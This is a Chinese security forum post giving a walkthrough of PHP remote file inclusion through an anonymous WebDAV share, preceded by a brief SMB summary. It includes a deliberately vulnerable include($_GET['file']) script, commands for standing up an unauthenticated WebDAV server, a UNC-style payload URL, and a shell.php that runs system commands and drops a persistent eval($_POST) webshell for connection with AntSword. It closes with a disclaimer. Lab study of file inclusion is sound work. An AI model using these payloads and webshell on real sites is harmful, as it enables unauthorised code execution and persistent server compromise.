|
|
楼主 |
发表于 2021-10-11 14:09:30
|
显示全部楼层
SMB总结
针对smb利用的局限性，因为这种unc只能是在windows下使用，而且，smb端口(445) 在国内已经被封杀的差不多了（勒索病毒！！！），很难应用到实际中，但是其他的像webdav这种同理也是可以被包含的，且利用的价值更大。
RFI-WebDAV
WebDAV（Web 分布式创作和版本管理）是一项基于 HTTP/1.1 协议的通信协议。它扩展了HTTP/1.1 协议，在Get、Post、Put、Delete 等HTTP标准方法外添加了新方法，使应用程序可对Web Server直接读写，并支持写文件锁定(Locking)和解锁(Unlock)，以及文件的版本控制。
PHP在远程匿名加载WebDAV所共享的文件时并不会对其进行拦截。
测试代码
<?php
$file=$_GET['file'];
include $file;
?>
攻击原理
类unc -> WebDAV
攻击场景
当易受攻击的PHP应用程序代码尝试从攻击者控制的WebDAV服务器共享加载PHP Web shell时，WebDAV共享应该允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的WebDAV服务器。因此，一旦易受攻击的应用程序尝试从WebDAV共享访问PHP Web shell，WebDAV服务器将不会要求任何凭据，易受攻击的应用程序将包含Web shell的PHP代码。
环境配置
同SMB环境配置一样，首先，重新配置PHP环境，在php.ini文件中禁用allow_url_fopen以及allow_url_include。然后，配置WebDAV服务器。
PHP环境设置
首先，在受害者主机上配置php.ini，将allow_url_fopen和allow_url_include设置为Off
然后重启服务查看phpinfo()配置是否生效
WebDAV服务器环境配置
需要使用匿名读取访问权限配置WebDAV服务器。
1、Ubuntu18.04手动搭建WebDAV服务器
（1）安装Apache Web服务器
sudo apt-get install -y apache2
（2）在Apache配置中启用WebDAV模块
sudo a2enmod dav
sudo a2enmod dav_fs
（3）创建WebDAV共享目录webdav和 php web shell
sudo mkdir -p /var/www/html/webdav
sudo touch /var/www/html/webdav/shell.php
（4）将文件夹所有者更改为您的Apache用户，www-data以便Apache具有对该文件夹的写访问权
sudo chown -R www-data:www-data /var/www/
（5）编辑WebDAV配置文件 /etc/apache2/sites-available/000-default.conf
不需要启用身份验证
DavLockDB /var/www/html/DavLock
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
Alias /webdav /var/www/html/webdav
<Directory /var/www/html/webdav>
DAV On
</Directory>
</VirtualHost>
（6）重新启动Apache服务器，以使更改生效
sudo service apache2 restart
成功重新启动Apache服务器后，尝试访问WebDAV共享并确保WebDAV服务器不要求凭据。
除了上面在Ubuntu上一步步安装WebDAV服务器外，还可以利用做好的Docker镜像。
2、WebDAV Docker镜像
推荐使用Docker镜像方式去安装利用，免去一些因环境或配置不当而产生的问题
（1）拉取webdav镜像
镜像地址：https://hub.docker.com/r/bytemark/webdav
（2）用docker启动一个webdav服务器
docker run -v ~/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
（3）在~/webdav/data目录里面共享自己php脚本
（5）验证Webdav服务器
浏览器验证
终端验证
Getshell
在环境都配置完且验证之后，利用webdav目录~/webdav/data中共享的WebShell进行GetShell
类unc->payload
http://127.0.0.1/FI/index.php?file=//172.17.0.2//webdav/shell.php
shell.php
<?php echo eval(system("whoami"));phpinfo();?>
<?PHP fputs(fopen('poc.php','w'),'<?php @eval($_POST[Qftm])?>');?>
为什么这个不能直接加载一句话木马呢，因为使用PHP文件包含函数远程加载Webdav共享文件时，不能附加消息(GET/POST)，但是我们可以自定义shell.php，通过服务器加载远程shell.php给我们自动生成一个Webshell。
请求构造的payload
从图中可以看到远程加载shell.php利用成功，可以根据状态码分析其加载过程：
其中code 207是由WebDAV(RFC 2518)扩展的状态码，代表之后的消息体将是一个XML消息，并且可能依照之前子请求数量的不同，包含一系列独立的响应代码。
蚁剑连接
连接远程加载shell.php生成的Webshell->poc.shell
WebDAV总结
webdav如今很多人都将其作为自己的个人数据共享存储服务器，其局限性远远小于SMB。
......未完待续
实验推荐：文件包含漏洞
http://www.hetianlab.com/expc.do ... 2015060917272000001
声明：笔者初衷用于分享与普及网络知识，若读者因此作出任何危害网络安全行为后果自负，与合天智汇及原作者无关！ |
|
发表于 2021-10-11 13:58:11
LFI-编码绕过很多时候后台代码都会对用户输入的数据进行检测过滤，常见的就是在敏感字符前加 \ 进行转义，但通过编码可以绕过它的检测。
利用姿势2：fragment（#）
